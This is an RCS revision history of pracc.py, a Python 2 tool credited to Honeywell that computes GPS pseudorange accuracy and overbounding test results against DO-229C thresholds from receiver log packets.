self.cbiases.append(ClockBias(self.tow, 0.0)) # actual clock bias is built into measurements
def process_measurements3B(self):
# build a dictionary of prn elevations from msg3A
elevations = {}
for status in self.msg3A.channel_stat:
elevations[status.prn] = status.elevation
# parse measurements
for meas in self.msg3B.measurements:
# check if the measurement meets various pre-conditions
if not (meas.validity_and_in_use_mask & 0x40):
# print 'measurement not valid:', meas.validity_and_in_use_mask
continue
if (meas.prn in self.excluded_prns):
# print 'excluded prn:', meas.prn
continue
if (meas.pseudorange_sigma >= MIN_PR_SIGMA):
# print 'bad sigma:', meas.pseudorange_sigma
continue
if (not self.use_sbas and is_sbas(meas.prn)):
# print 'sbas prn:', meas.prn
continue
if (elevations[meas.prn] < MASK_ANGLE_DEG):
# print 'below mask angle:', elevations[meas.prn]
continue
# measurement meets all pre-conditions
if self.test_accuracy:
pr_sigma = pr_noise_sigma(meas.prn)
else:
pr_sigma = meas.pseudorange_sigma_ob
self.add_svdata(self.msg3B.timestamp(), meas.prn, self.tow,
meas.pseudorange, pr_sigma)
self.cbiases.append(ClockBias(self.tow, 0.0)) # actual clock bias is built into measurements
d236 1
a236 1
self.excluded_prns = MIN_SIGNAL_EXCLUDED_PRNS
d238 1
a238 1
self.excluded_prns = []
d241 1
a241 1
self.test_accuracy = test_accuracy
d308 5
d315 1
a315 1
self.excluded_prns = [int(prn) for prn in cmds[2].split()[1:]]
d318 1
a318 1
self.excluded_prns = []
d325 1
a325 1
self.max_tow = float(cmds[7]) # line 8: (optional) max TOW
d327 1
a327 1
self.max_tow = None
d356 1
a356 1
for self.test_accuracy in (False, True):
d360 1
@
1.26
log
@modified to allow aggregation of data from multiple command files into a combined test result@
text
@d340 1
d582 2
d831 4
@
1.25
log
@made changes to allow processing using packets 0x3a and 0x3b@
text
@d525 1
a525 1
def test(self, reset=True, show_title=True):
d545 1
a545 1
self.dump()
a563 2
return self.check_passed()
d565 5
d804 1
a804 1
def __init__(self, cmd_fname):
d806 2
a807 2
self.cmd_fname = cmd_fname
self.get_parms()
d811 1
d813 3
a815 1
self.svranges = svranges.read(cmds[0]) # line 1: truth file pathname
d829 11
d843 1
a843 1
# stash current directory and change to command file's directory
d845 1
a845 2
path, fname = os.path.split(self.cmd_fname)
print 'path=[%s], fname=[%s]' % (path, fname)
d848 1
d850 4
a853 4
# open output log file using a name derived from the command fname
assert(self.cmd_fname.endswith('_in.txt'))
logger = stdout_logger.Logger(self.cmd_fname[:-6] + 'out.txt')
print 'Read commands from', self.cmd_fname
d857 11
a867 1
PseudorangeAccuracyTest.test(self)
d870 1
a870 1
# restore original directory
d877 1
a877 1
PseudorangeAccuracyTestFromCommandFile(sys.argv[1]).test()
@
1.24
log
@eliminated use of packet 0x2c
improved parsing of excluded PRNs@
text
@d2 1
a2 1
Copyright 2004-2006, Honeywell International Inc.
d143 2
a144 1
def __init__(self, tow, pr, pr_sigma):
d150 2
a151 1
return '%i %i %f' % (self.tow, self.pr, self.pr_sigma)
d348 1
a348 2
self.msg1B = self.msg30 = self.msg32 = None
self.msg2Cs = []
d354 1
a354 1
self.current_tow = 0.0
d384 5
a388 1
fname = 'msgs_%s_py.txt' % (prn, )
d392 1
a392 1
f.write(msg.line)
d448 1
a448 1
def add_svdata(self, prn, tow, pr, pr_sigma):
d450 1
a450 1
svdata = Svdata(tow, pr, pr_sigma)
d473 2
a474 1
self.add_svdata(msg.prn, msg.tow + LEVEL1_CORE_TOW_ADJUST_SEC, msg.rk_pr,
d484 1
a484 4
# handle EXPR packets 2C, 30, 31, 32 packets from Level 2 core:
def handle2C(self, msg):
self.msg2Cs.append(msg)
a487 1
self.process_measurements()
d493 1
a493 1
print 'Navigating at TOW', self.current_tow
d495 8
a502 3
def process32(self, msg):
self.msg32 = msg
self.process_measurements()
d504 8
a511 12
def process_measurements(self):
try:
if self.msg30.time_mark_sequence_number \
!= self.msg32.time_mark_sequence_number:
return
except AttributeError:
return # msg30 or msg32 is None
if not self.msg32.at_pps:
return # not at PPS
if not self.msg32.validity & 0x20:
return # time fields not valid
d513 8
a520 9
# calculate TOW and check if measurements can be used
self.current_tow = tow = self.msg32.gps_tow + LEVEL2_CORE_TOW_ADJUST_SEC
if self.min_measurement_tow is None:
if self.navigating:
self.min_measurement_tow = tow + SETTLING_TIME_SEC
print 'Minimum measurement TOW is', self.min_measurement_tow
return
elif tow < self.min_measurement_tow:
return # waiting for measurements to settle
a521 40
# all pre-conditions to use the current set of measurements have been met
for meas in self.msg30.measurements:
if (meas.validity_mask & 0x08) and (meas.prn not in self.excluded_prns) \
and (meas.pseudorange_sigma < MIN_PR_SIGMA) \
and (self.use_sbas or not is_sbas(meas.prn)) \
and (meas.elevation >= MASK_ANGLE_DEG):
assert(meas.health == 'NORM')
pseudorange = meas.pseudorange
if self.test_accuracy:
pr_sigma = pr_noise_sigma(meas.prn)
else:
# find the sigma noise value for this PRN in the current list of message 55s
pr_sigma = None
for msg55 in self.msg55s:
if msg55.prn == meas.prn:
try:
pr_sigma = msg55.sigma_noise_m
except AttributeError, err:
print 'self.msg55s:', self.msg55s
print 'msg55.line:', msg55.line
print 'msg55.timestamp():', msg55.timestamp()
assert(False)
break
if not self.test_accuracy and pr_sigma == None:
if self.verbose:
print 'No sigma_noise value is available for PRN', \
meas.prn, 'at message:', self.msg32.timestamp()
else:
self.add_svdata(meas.prn, tow, pseudorange, pr_sigma)
self.cbiases.append(ClockBias(tow, 0.0)) # actual clock bias is built into measurements
self.msg30 = self.msg32 = None
def handle32(self, msg):
self.process32(msg)
# clear related messages
self.msg30 = None
self.msg2Cs = []
self.msg55s = []
d545 1
a545 1
# self.dump()
d567 125
@
1.23
log
@reworked to allow packets 0x30 and 0x32 to be received in any order
fixed bug in command-line test@
text
@d143 1
a143 1
def __init__(self, tow, pr, pr_sigma, inst):
a146 1
self.inst = inst
d149 1
a149 1
return '%i %i %f %s' % (self.tow, self.pr, self.pr_sigma, self.inst)
d443 1
a443 1
def add_svdata(self, prn, tow, pr, pr_sigma, inst=None):
d445 1
a445 1
svdata = Svdata(tow, pr, pr_sigma, inst)
a527 1
# find the msg 2C for this PRN in the current list of message 55s
a528 6
inst = None
for msg2C in self.msg2Cs:
if msg2C.prn == meas.prn:
inst = msg2C
# pseudorange = msg2C.smooth_pr
break
d549 1
a549 1
self.add_svdata(meas.prn, tow, pseudorange, pr_sigma, inst)
d726 1
a726 1
self.excluded_prns = [int(cmds[2].split()[1])]
d738 1
a738 1
d762 1
a762 1
try:
d764 1
a764 1
except IndexError:
@
1.22
log
@fixed bugs found by pylint@
text
@d347 1
a347 1
self.msg1B = self.msg30 = None
d486 1
d495 12
a506 1
if not msg.at_pps:
d508 2
a509 9
if not msg.validity & 0x20:
return # time fields not valid
if self.msg30 is None:
return # message 30 hasn't been seen
if self.msg30.time_mark_sequence_number != msg.time_mark_sequence_number:
print 'Sequence number mismatch:'
print ' MSG30:', self.msg30.time_mark_sequence_number, 'at', self.msg30.timestamp()
print ' MSG32:', msg.time_mark_sequence_number, 'at', msg.timestamp()
return
d512 1
a512 1
self.current_tow = tow = msg.gps_tow + LEVEL2_CORE_TOW_ADJUST_SEC
d555 1
a555 1
meas.prn, 'at message:', msg.timestamp()
d559 1
d671 1
d707 2
a708 1
pracc.test(rawlog_numbers)
d750 3
a752 1
os.chdir(path)
@
1.21
log
@added 'global' to fix scoping bug@
text
@d389 1
a389 1
f.close
d612 1
a612 1
def __init__():
d624 1
a624 1
print 'Settings for %s from TOW file %s:' % (fname, self.rawlog_info_dict.fname)
d674 1
a674 1
pracc = PseudorangeAccuracyTestEnvironmental()
d682 1
a682 1
sections = PseudorangeAccuracy.rawlog_info_dict.get_nums_by_section(True)
@
1.20
log
@added command file parameters for SAMPLING_TIME_SEC and MASK_ANGLE_DEG
added assert on measurement health == NORM@
text
@d732 1
@
1.19
log
@modfied so that write of interference rejection test files occurs during overbounding test so that the sigma noise values in the file will come from packet 0x55@
text
@d67 1
d520 3
a522 1
and (self.use_sbas or not is_sbas(meas.prn)): # and (meas.health == 'NORM') and meas.in_use and (meas.lock_count > 5):
d732 2
@
1.18
log
@added output of interference rejection test data files per CertTech request
eliminated "pr_err" files@
text
@d441 1
a441 1
self.test_accuracy)
@
1.17
log
@added support for new command file format specifed by CertTech@
text
@d239 1
d260 1
a260 1
prn_errs[data.prn] = [data.pr_err]
d262 14
a275 1
err_sqrd_sum += accuracy_data_list.norm_err_sqrd()
d314 3
a316 3
# write PRN error files
for prn in prn_errs:
fname = 'pr_err_' + str(prn) + '.txt'
d318 2
a319 2
for err in prn_errs[prn]:
print >> f, err
@
1.16
log
@added per-prn summary@
text
@d2 1
a2 1
Copyright 2003-2005, Honeywell International Inc.
d23 1
a23 1
import sys, math, re
d31 1
d207 4
a210 1
print ' Sampling interval is %0.1f seconds.' % (SAMPLING_INTERVAL_SEC, )
d272 1
a272 1
print 'PRN %i not found at TOW %f' % (prn, tow)
d310 1
a310 1
class PseudorangeAccuracy(Parser):
d316 1
a316 4
rawlog_info_dict = rawlog_info.RawlogInfoDict()
svranges = svranges.read()
d341 3
d347 1
a347 1
print '\nTest Result:'
a364 57
def get_parms(self, rawlog_number):
fname = 'rawlog%s.gps' % (rawlog_number, )
try:
info = self.rawlog_info_dict[rawlog_number]
self.overbounding_test_tow = info.tow1
self.accuracy_test_tow = info.tow2
self.test_min_signal = info.min_signal
print 'Settings for %s from TOW file %s:' % (fname, self.rawlog_info_dict.fname)
print ' Power setting :', { True:'min', False:'max' }[self.test_min_signal]
print ' Test start TOW :', self.overbounding_test_tow
print ' Power adjustment TOW :', self.accuracy_test_tow
except KeyError:
# print self.rawlog_info_dict.keys()
# print rawlog_number, type(rawlog_number)
if rawlog_number != self.last_rawlog_number:
while True:
s = raw_input('Test min or max signal power? [min|max] : ').lower()
if s == 'min':
self.test_min_signal = True
break
elif s == 'max':
self.test_min_signal = False
break
s = raw_input('Test start TOW for overbounding test? : ')
try:
self.overbounding_test_tow = float(s)
except ValueError:
print 'TOW was not supplied so it will be determined automatically'
self.overbounding_test_tow = None
s = raw_input('Power adjustment TOW for accuracy test? : ')
try:
self.accuracy_test_tow = float(s)
except ValueError:
print 'TOW was not supplied so it will be determined automatically'
self.accuracy_test_tow = None
self.last_rawlog_number = rawlog_number
if ((self.overbounding_test_tow is not None) and
(self.accuracy_test_tow is not None) and
(self.overbounding_test_tow > self.accuracy_test_tow)):
raise ValueError, 'Test start TOW must be less than or equal to power adjustment TOW'
if self.test_min_signal:
self.excluded_prns = MIN_SIGNAL_EXCLUDED_PRNS
else:
self.excluded_prns = []
if self.test_accuracy:
self.min_measurement_tow = self.accuracy_test_tow
else:
self.min_measurement_tow = self.overbounding_test_tow
self.min_measurement_tow += SETTLING_TIME_SEC
return fname
a365 47
def _test_one(self, rawlog_number):
print
self.restart()
self.get_parms(rawlog_number)
fname = 'rawlog%s.gps' % (rawlog_number, )
Parser.main(self, '', fname)
# self.dump()
(nis, m, rms_pr, prn_errs) = self.calculate()
# incorporate these RMS_PR statistics into self
if self.nis == 0:
self.rms_pr = rms_pr
else:
old_rms_pr = self.rms_pr
self.rms_pr = math.sqrt((self.m * self.rms_pr * self.rms_pr \
+ m * rms_pr * rms_pr) / (m + self.m))
self.nis += nis
self.m += m
if self.test_accuracy:
# incorporate these PRN errors into self
for prn in prn_errs.keys():
if not self.prn_errs.has_key(prn):
self.prn_errs[prn] = []
self.prn_errs[prn] += prn_errs[prn]
return self.check_passed()
def _test(self, rawlog_numbers, test_accuracy):
self.test_accuracy = test_accuracy
self.reset_test_results()
for rawlog_number in rawlog_numbers:
self._test_one(rawlog_number)
if len(rawlog_numbers) > 1:
print '\nOverall %s test result for rawlogs %s:' % \
(('overbounding', 'accuracy')[test_accuracy], rawlog_numbers, )
return self.check_passed()
def test(self, rawlog_numbers):
print '\n------------------------------------------------------------';
print 'Testing overbounding of rawlogs', rawlog_numbers
self._test(rawlog_numbers, False)
print '\n------------------------------------------------------------';
print 'Testing accuracy of rawlogs', rawlog_numbers
self._test(rawlog_numbers, True)
d548 10
a557 2
#-----------------------------------------------------------------------------
# main
d559 7
a565 7
def test(rawlog_number):
num_passed = 0
print '\n------------------------------------------------------------';
print 'Testing overbounding'
pracc = PseudorangeAccuracy(False)
num_passed += pracc.test(rawlog_number)
d567 13
a579 4
print '\n------------------------------------------------------------';
print 'Testing accuracy'
pracc = PseudorangeAccuracy(True)
num_passed += pracc.test(rawlog_number)
d581 8
a588 2
print '\n%s passed %i of 2 tests' % (pracc.fname, num_passed)
return (num_passed == 2)
d590 9
a598 2
def main():
logger = stdout_logger.Logger('pracc_log.txt')
d600 41
a640 15
pracc = PseudorangeAccuracy()
while True:
print '\n--------------------------------------------------------------------';
s = raw_input('Rawlog numbers (separated by spaces)? (Enter to quit) : ').strip()
if not s:
break
if s.lower() == 'a':
print 'Testing all'
sections = PseudorangeAccuracy.rawlog_info_dict.get_nums_by_section(True)
section_nums = sections.keys()
section_nums.sort()
for section in section_nums:
print '\n====================================================================';
print 'Testing section', section
pracc.test(sections[section])
d642 1
a642 5
try:
rawlog_numbers = [number for number in s.split()]
except ValueError:
print 'Invalid rawlog number(s)'
pracc.test(rawlog_numbers)
d644 40
a683 2
print '\nTotal: Passed %i of %i tests' % \
(pracc.num_tests_passed, pracc.num_tests_run)
d685 54
a738 4
print '\nCombined PRN accuracy statistics for all tests:'
print_prn_errs(pracc.prn_errs)
logger.close()
d740 5
a744 1
main()
@
1.15
log
@moved stdout logger to a separate module
added sort of section numbers in 'all' mode@
text
@d20 1
a20 1
__version__ = '$Revision: 1.15 $'
d88 15
d293 1
a293 13
# print error statistics for each PRN and for all PRNs
prns = prn_errs.keys()
prns.sort()
all_errs = []
print ' PRN Avg Err RMS Err Err Std Count'
for prn in prns:
all_errs += prn_errs[prn]
st = stats.Stats(prn_errs[prn])
print ' %4d %11.6f %11.6f %11.6f %6i' % \
(prn, st.avg, st.rms, st.std, len(prn_errs[prn]))
st = stats.Stats(all_errs)
print ' All %11.6f %11.6f %11.6f %6i' % \
(st.avg, st.rms, st.std, len(all_errs))
d297 1
a297 1
for prn in prns:
d304 1
a304 1
return (nis, m, rms_pr)
d321 2
a326 1
self.num_tests_run = self.num_tests_passed = 0
d426 3
a428 1
(nis, m, rms_pr) = self.calculate()
d437 8
d668 1
a668 1
logger = stdout_logger.Logger('pracc_log.txt', 'at')
d675 1
a675 1
return
d682 1
d692 5
a696 1
print '\nTotal: Passed %i of % tests' % (pracc.num_passed, pracc.num_run)
@
1.14
log
@added capablility to combine results from multiple filess
added facility to read rawlog context information from a CSV file@
text
@d20 1
a20 1
__version__ = '$Revision: 1.14 $'
d26 1
a26 1
import svranges, rawlog_info, stats
a90 20
class StdoutLogger:
def __init__(self, fname='log.txt', mode='wt'):
self.f = file(fname, mode)
self.stdout = sys.stdout
sys.stdout = self
def __del__(self):
self.close()
def close(self):
self.f.close()
self.f = None
sys.stdout = self.stdout
def write(self, s):
if self.f is not None:
self.f.write(s)
self.stdout.write(s)
d654 1
a654 1
logger = StdoutLogger('pracc_log.txt', 'at')
d665 3
a667 1
for section in sections.keys():
@
1.13
log
@added batch processing facillity@
text
@d10 3
a12 1
output data in XPR format.
d20 1
a20 1
__version__ = '$Revision: 1.13 $'
d23 1
a23 1
import math, re
d26 1
a26 1
import svranges, stats
d91 20
d240 1
a240 1
num_samples = num_independent_samples = 0
d243 1
a243 1
M = 0
d261 1
a261 1
num_independent_samples += len(accuracy_data_list) - 1
d263 1
a263 1
M += 1
d290 7
a296 3
rms_pr = math.sqrt(err_sqrd_sum / M)
print ' RMS_PR for %i independent samples of %i is %0.6f' % \
(num_independent_samples, num_samples, rms_pr, )
d321 1
a321 12
# check test results for pass/fail
print '\nTest result:'
if (num_independent_samples < pass_thresholds[0][0]):
print ' FAIL due to having too few samples'
else:
for (threshold_num_samples, threshold) in pass_thresholds:
if (num_independent_samples >= threshold_num_samples and \
rms_pr <= threshold):
print ' PASS'
return True
print ' FAIL due to excessive RMS_PR'
return False
d326 1
a326 2
_verbose = False
svranges = svranges.read()
d330 4
a333 2
def __init__(self, test_accuracy, use_sbas, test_min_signal,
min_measurement_tow):
d335 12
d348 2
a349 1
self.msg2Cs = self.msg55s = []
a351 8
self.test_accuracy = test_accuracy
self.use_sbas = use_sbas
self.test_min_signal = test_min_signal
self.min_measurement_tow = min_measurement_tow
if test_min_signal:
self.excluded_prns = MIN_SIGNAL_EXCLUDED_PRNS
else:
self.excluded_prns = []
d356 80
a435 1
def test(self, fname):
d437 3
d442 10
a451 1
return self.calculate()
d453 19
a495 1
if self._verbose: print 'Writing', fname, '...',
a531 1
if self._verbose: print 'done.'
d533 1
a533 1
self.test_accuracy)
d567 1
a567 1
if msg.fault_type == 90 or msg.fault_type == 170:
d611 1
a611 1
and (self.use_sbas or not is_sbas(meas.prn)): # and (meas.health == 'NORM'): # and (meas.lock_count > 5):
d628 7
a634 1
pr_sigma = msg55.sigma_noise_m
d636 4
a639 2
if pr_sigma == None:
print 'No sigma_noise value is available for PRN', meas.prn, 'at message:', msg.timestamp()
d648 2
a649 1
self.msg2Cs = self.msg55s = []
d657 1
a657 42
def test(rawlog_number, tows):
fname = 'rawlog%i.gps' % (rawlog_number, )
try:
(overbounding_test_tow, accuracy_test_tow, min_max) = \
tows[rawlog_number][:3]
test_min_signal = (min_max.lower() != 'max')
min_max = { True:'min', False:'max' }[test_min_signal]
print '\nSettings for %s from TOW file:' % (fname, )
print ' Power setting :', min_max
print ' Test start TOW :', overbounding_test_tow
print ' Power adjustment TOW :', accuracy_test_tow
except KeyError:
while True:
s = raw_input('Test min or max signal power? [min|max] : ').lower()
if s == 'min':
test_min_signal = True
break
elif s == 'max':
test_min_signal = False
break
s = raw_input('Test start TOW for overbounding test? : ')
try:
overbounding_test_tow = float(s)
except ValueError:
print 'TOW was not supplied so it will be determined automatically'
overbounding_test_tow = None
s = raw_input('Power adjustment TOW for accuracy test? : ')
try:
accuracy_test_tow = float(s) + SETTLING_TIME_SEC
except ValueError:
print 'TOW was not supplied so it will be determined automatically'
accuracy_test_tow = None
if ((overbounding_test_tow is not None) and
(accuracy_test_tow is not None) and
(overbounding_test_tow >= accuracy_test_tow)):
print 'Test start TOW must be less than power adjustment TOW: aborting'
return
d662 2
a663 2
pracc = PseudorangeAccuracy(False, True, test_min_signal, overbounding_test_tow)
num_passed += pracc.test(fname)
d667 2
a668 2
pracc = PseudorangeAccuracy(True, True, test_min_signal, accuracy_test_tow)
num_passed += pracc.test(fname)
d670 1
a670 1
print '\n%s passed %i of 2 tests' % (fname, num_passed, )
d674 1
a674 17
# read file of tows
tows_fname = 'tows.csv'
tows = {}
try:
f = open(tows_fname)
print 'Reading', tows_fname, '...',
for line in f:
fields = line.split(',')
try:
tows[int(fields[0])] = (float(fields[1]), float(fields[2]), fields[3],
fields[4])
except ValueError:
pass # header line
f.close()
print 'done.'
except IOError:
print 'Cannot open', tows_fname, 'for reading'
d676 1
d679 2
a680 2
rawlog_num = raw_input('Rawlog number? (Enter to quit) : ')
if not rawlog_num:
d682 15
a696 16
try:
test(int(rawlog_num), tows)
except ValueError:
if rawlog_num.lower() == 'a':
num_run = 0
num_passed = 0
print 'Testing all'
for num in tows.keys():
if tows[num][3].lower() == 'y':
num_run += 1
num_passed += test(num, tows)
print '\n%i of %i files passed' % (num_run, num_passed)
break
else:
print 'Invalid number'
@
1.12
log
@reworked to allow processing of multiple files
@
text
@d18 1
a18 1
__version__ = '$Revision: 1.12 $'
d523 2
a524 1
(overbounding_test_tow, accuracy_test_tow, min_max) = tows[rawlog_number]
d574 1
d586 2
a587 1
tows[int(fields[0])] = (float(fields[1]), float(fields[2]), fields[3])
d600 16
a615 1
test(int(rawlog_num), tows)
d618 1
a618 1
main()@
1.11
log
@changed header() to timestamp()@
text
@d18 1
a18 1
__version__ = '$Revision: 1.11 $'
d35 2
a36 2
MIN_GPS_SIGNAL_SIGMA = 0.36 # DO-229C 2.1.4.1.4
MAX_GPS_SIGNAL_SIGMA = 0.15 # DO-229C 2.1.4.1.4
d41 2
a42 2
SAMPLING_INTERVAL_SEC = 200.0 # DO-229C, 2.5.8.2.1, Note 1
SETTLING_TIME_SEC = 360.0 # DO-229C, 2.1.4.1.3
d44 1
a44 1
MIN_SBAS_PRN = 120 # DO-229C, Table A-1
d46 1
a46 1
pass_thresholds = ( # DO-229C, Table 2-26
d62 2
a63 1
TOW_ADJUST_SEC = 0.0
d185 3
a187 2
def summarize(self, prns, rawlog_fname, excluded_prns, write):
"""Prints and writes summaries of the object's accuracy data"""
d335 1
a335 4
def main(self, title=''):
if title:
print title
d337 1
a337 1
Parser.main(self)
d339 1
a339 1
self.calculate()
d403 2
a404 2
acc_data_dict.summarize(prns, self.fname, self.excluded_prns,
self.test_accuracy)
d415 1
a415 1
# handle XPR packets (1B, 21, 25, 29):
d431 1
a431 1
self.add_svdata(msg.prn, msg.tow + TOW_ADJUST_SEC, msg.rk_pr,
d435 1
a435 1
self.cbiases.append(ClockBias(msg.mk_tow + TOW_ADJUST_SEC, msg.mk_cbias))
d441 1
a441 1
# handle EXPR packets from 2GA (2C, 30, 31, 32):
d469 1
a469 1
self.current_tow = tow = msg.gps_tow + TOW_ADJUST_SEC
d519 3
a521 11
def main():
while True:
s = raw_input('Test min or max signal power? [min|max] : ').lower()
if s == 'min':
test_min_signal = True
break
elif s == 'max':
test_min_signal = False
break
s = raw_input('Test start TOW for overbounding test? : ')
d523 16
a538 4
overbounding_test_tow = float(s)
except ValueError:
print 'TOW was not supplied so it will be determined automatically'
overbounding_test_tow = None
d540 13
a552 6
s = raw_input('Power adjustment TOW for accuracy test? : ')
try:
accuracy_test_tow = float(s) + SETTLING_TIME_SEC
except ValueError:
print 'TOW was not supplied so it will be determined automatically'
accuracy_test_tow = None
d560 4
a563 2
print '\n--------------------------------------------------------------------';
print 'Testing overbounding with SBAS'
d565 1
a565 1
pracc.main()
d567 2
a568 2
print '\n--------------------------------------------------------------------';
print 'Testing accuracy with SBAS'
d570 1
a570 6
pracc.main()
print '\n--------------------------------------------------------------------';
print 'Testing overbounding without SBAS'
pracc = PseudorangeAccuracy(False, False, test_min_signal, overbounding_test_tow)
pracc.main()
d572 19
a590 4
print '\n--------------------------------------------------------------------';
print 'Testing accuracy without SBAS'
pracc = PseudorangeAccuracy(True, False, test_min_signal, accuracy_test_tow)
pracc.main()
d592 7
d600 1
a600 2
main()
@
1.10
log
@fixed RMS_PR calculation by using correct value for M
made fixes per review
added min/max options
@
text
@d18 1
a18 1
__version__ = '$Revision: 1.10 $'
d430 1
a430 1
print 'No CN0 is available for message:', msg.header()
d503 1
a503 1
print 'No sigma_noise value is available for PRN', meas.prn, 'at message:', msg.header()
@
1.9
log
@added overbounding test
added tests that omit SBAS channels@
text
@d12 1
a12 1
will do that automatically if its input file ends in '.gps'
d18 1
a18 1
__version__ = '$Revision: 1.9 $'
d35 2
a36 5
MIN_GPS_SIGNAL_SIGMA = 0.36
MAX_GPS_SIGNAL_SIGMA = 0.15
MIN_WAAS_SIGNAL_SIGMA = 1.8
MAX_WAAS_SIGNAL_SIGMA = 1.0
MIN_PR_SIGMA = 50.0 # PRNs with greater sigma's don't have iono corrections yet
d38 2
a39 4
MIN_NUM_PRNS = 4
SAMPLING_INTERVAL_SEC = 100.0
EXCLUDED_PRNS = [31]
TOW_ADJUST = 0.001
d41 6
a46 1
pass_thresholds = ( # from DO-229C, Table 2-26:
d59 5
d68 1
a68 1
if prn >= 120:
d73 1
a73 1
def pr_noise_sigma(prn):
d75 4
a78 1
return MIN_WAAS_SIGNAL_SIGMA
d80 4
a83 1
return MIN_GPS_SIGNAL_SIGMA
d184 1
a184 1
def summarize(self, prns, rawlog_fname, write):
d187 5
a191 2
print ' Sampling interval is %0.1f seconds.' % (SAMPLING_INTERVAL_SEC, )
print ' PRNs', EXCLUDED_PRNS, 'have been excluded'
d219 1
d237 1
a237 1
num_independent_samples += len(accuracy_data_list)
d239 1
d266 2
a267 2
rms_pr = math.sqrt(err_sqrd_sum / num_independent_samples)
print ' MOPS weighted RMS error (RMS_PR) from %i samples of %i is %0.6f' % \
d303 1
a303 2
if not self.test_passed:
print ' FAIL due to excessive RMS_PR'
a310 1
tow_adjust_sec = 0.001
d314 2
a315 2
def __init__(self, test_accuracy, use_sbas, min_measurement_tow=None,
excluded_prns=EXCLUDED_PRNS):
d323 1
d325 4
a328 2
self.excluded_prns = excluded_prns
d387 2
a388 1
print 'PRN %i: excessive delta time of %f at TOW %f:' % (prn, timedelta, svdata.tow)
d404 2
a405 1
acc_data_dict.summarize(prns, self.fname, self.test_accuracy)
d432 1
a432 1
self.add_svdata(msg.prn, msg.tow + self.tow_adjust_sec, msg.rk_pr,
d436 1
a436 1
self.cbiases.append(ClockBias(msg.mk_tow + self.tow_adjust_sec, msg.mk_cbias))
d442 1
a442 1
# handle EXPR packets from 2GA (2C, 30, 32):
d470 1
a470 1
self.current_tow = tow = msg.gps_tow + TOW_ADJUST
d473 1
a473 1
self.min_measurement_tow = tow + SAMPLING_INTERVAL_SEC
d521 9
d539 1
a539 1
accuracy_test_tow = float(s)
d552 1
a552 1
pracc = PseudorangeAccuracy(False, True, overbounding_test_tow)
d557 1
a557 1
pracc = PseudorangeAccuracy(True, True, accuracy_test_tow)
d562 1
a562 1
pracc = PseudorangeAccuracy(False, False, overbounding_test_tow)
d567 1
a567 1
pracc = PseudorangeAccuracy(True, False, accuracy_test_tow)
@
1.8
log
@added prompt for initial TOW (after power adjustment)@
text
@d18 1
a18 1
__version__ = '$Revision: 1.8 $'
d23 5
d32 1
a32 4
# import support units
import svranges, stats
from mode_changes import ModeChanges as Parser
a34 2
MIN_SIGNAL_CN0 = 38.0
MAX_SIGNAL_CN0 = 52.0
d39 1
a39 1
MIN_PR_SIGMA = 50.0
d46 1
a46 2
pass_thresholds = (
# from DO-229C, Table 2-26:
d59 1
d62 6
d69 3
a71 1
if prn < 120:
a72 2
else:
return MIN_WAAS_SIGNAL_SIGMA
d74 1
a74 8
def get_test_status(num_samples, rms_pr):
if (num_samples < pass_thresholds[0][0]):
return 'Test FAILS due to having too few samples'
for (threshold_num_samples, threshold) in pass_thresholds:
if (num_samples >= threshold_num_samples and rms_pr <= threshold):
return 'Test PASSES'
return 'Test FAILS due to excessive RMS_PR'
d173 1
a173 1
def summarize(self, prns, rawlog_fname):
d175 1
a175 1
print '\nPseudorange Accuracy Summary of %s:' % (rawlog_fname)
d185 11
a196 10
# write combined error file header
fname = 'combined' + rawlog_id + '.csv'
f = open(fname, 'w')
print ' Writing combined errors to', fname
print >> f, 'TOW',
prns.sort()
for prn in prns:
print >> f, ',%3i' % (prn, ),
print >> f
d226 11
a236 11
# write line in combined error file
print >> f, '%f,' % (tow, ),
for prn in prns:
try:
err = tow_prn_errs[prn]
except KeyError:
print 'PRN %i not found at TOW %f' % (prn, tow)
err = 5.0 # fabricate a large error
print >> f, '%9.6f,' % (err, ),
print >> f
f.close()
d238 2
a239 7
# write bias file
fname = 'bias' + rawlog_id + '.txt'
print ' Writing biases to', fname
f2 = open(fname, 'w')
for (tow, bias) in biases:
print >> f2, tow, bias
f2.close()
d241 8
d250 3
a252 5
mops_err = math.sqrt(err_sqrd_sum / num_independent_samples)
print ' MOPS weighted RMS error from %i samples of %i is %0.6f' % \
(num_independent_samples, num_samples, mops_err, )
print ' ', get_test_status(num_samples, mops_err)
print
d268 22
a289 7
# write PRN error files
for prn in prns:
fname = 'pr_err_' + str(prn) + '.txt'
f = open(fname, 'w')
for err in prn_errs[prn]:
print >> f, err
f.close()
d300 2
a301 1
def __init__(self):
d307 5
a311 1
self.test_overbounding = False
a314 1
self.min_measurement_tow = None
d319 1
a319 5
s = raw_input('Power adjustment TOW for accuracy test? : ')
try:
self.min_measurement_tow = float(s)
except ValueError:
print 'TOW was not supplied so it will be determined automatically'
d386 1
a386 1
acc_data_dict.summarize(prns, self.fname)
d462 3
a464 2
if (meas.validity_mask & 0x08) and (meas.prn not in EXCLUDED_PRNS) \
and (meas.pseudorange_sigma < MIN_PR_SIGMA): # and (meas.health == 'NORM'): # and (meas.lock_count > 5):
d474 3
a476 1
if self.test_overbounding:
a482 2
else:
pr_sigma = pr_noise_sigma(meas.prn)
d497 11
d509 33
d543 2
a544 2
pracc = PseudorangeAccuracy()
pracc.main()@
1.7
log
@Modified to use WAAS sigma noise on WAAS PRNs
Set sampling interval to 100 seconds per MOPS
Fixed divide-by-zero for WAAS measurements
@
text
@d17 3
d23 5
a27 1
# import custom support units
d31 2
a32 1
# declare constants
d35 1
a35 1
MIN_GPS_SIGNAL_SIGMA = 0.15 # 0.36
d39 1
d42 1
a42 1
SAMPLING_INTERVAL_SEC = 100.0 # 0.1
a44 1
MIN_PR_SIGMA = 50.0
d46 17
a62 1
def pr_noise_sigma(prn, cn0):
d68 10
d250 2
d281 2
d287 1
a287 1
self.msg2Cs = []
d290 5
d296 10
a305 2
def main(self, title=''):
Parser.main(self, title)
a392 1
# print cn0, pr_noise_sigma(msg.prn, cn0)
d398 1
a398 1
pr_noise_sigma(msg.prn, cn0))
d415 7
a421 1
def handle32(self, msg):
d423 1
a423 1
return # not at PPS
d425 1
a425 1
return # time fields not valid
d427 1
a427 1
return # message 30 hasn't been seen
d433 12
a444 1
tow = msg.gps_tow + TOW_ADJUST
d449 2
d456 14
a469 3
self.add_svdata(meas.prn, tow, pseudorange,
pr_noise_sigma(meas.prn, meas.carrier_to_noise_ratio),
inst)
d471 4
d476 5
a480 2
self.msg2Cs = []
d483 1
a483 1
pracc.main('Pseudorange Accuracy')@
1.6
log
@@
text
@d1 2
a2 1
""" pracc.py: pseudorange-accuracy data generator (replaces pracc.cpp) """
d4 14
d19 2
d24 7
